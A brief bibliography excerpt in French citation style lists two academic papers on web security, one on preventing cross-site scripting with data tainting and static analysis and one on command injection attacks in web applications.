  • (en) Engin Kirda, Christopher Kruegel, Giovanni Vigna, Nenad Jovanovic, Florian Nentwich et Philipp Vogt, « Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis », NDSS’07 Proceeding of the Network and Distributed System Security Symposium,‎ (lire en ligne [PDF])
  • (en) Zhendong Su et Gary Wassermann, « The essence of command injection attacks in web applications », POPL '06 Conference record of the 33rd ACM SIGPLAN-SIGACT symposium on Principles of programming languages, ACM New York,‎ , p. 372 - 382 (ISBN 1-59593-027-2, DOI 10.1145/1111037.1111070)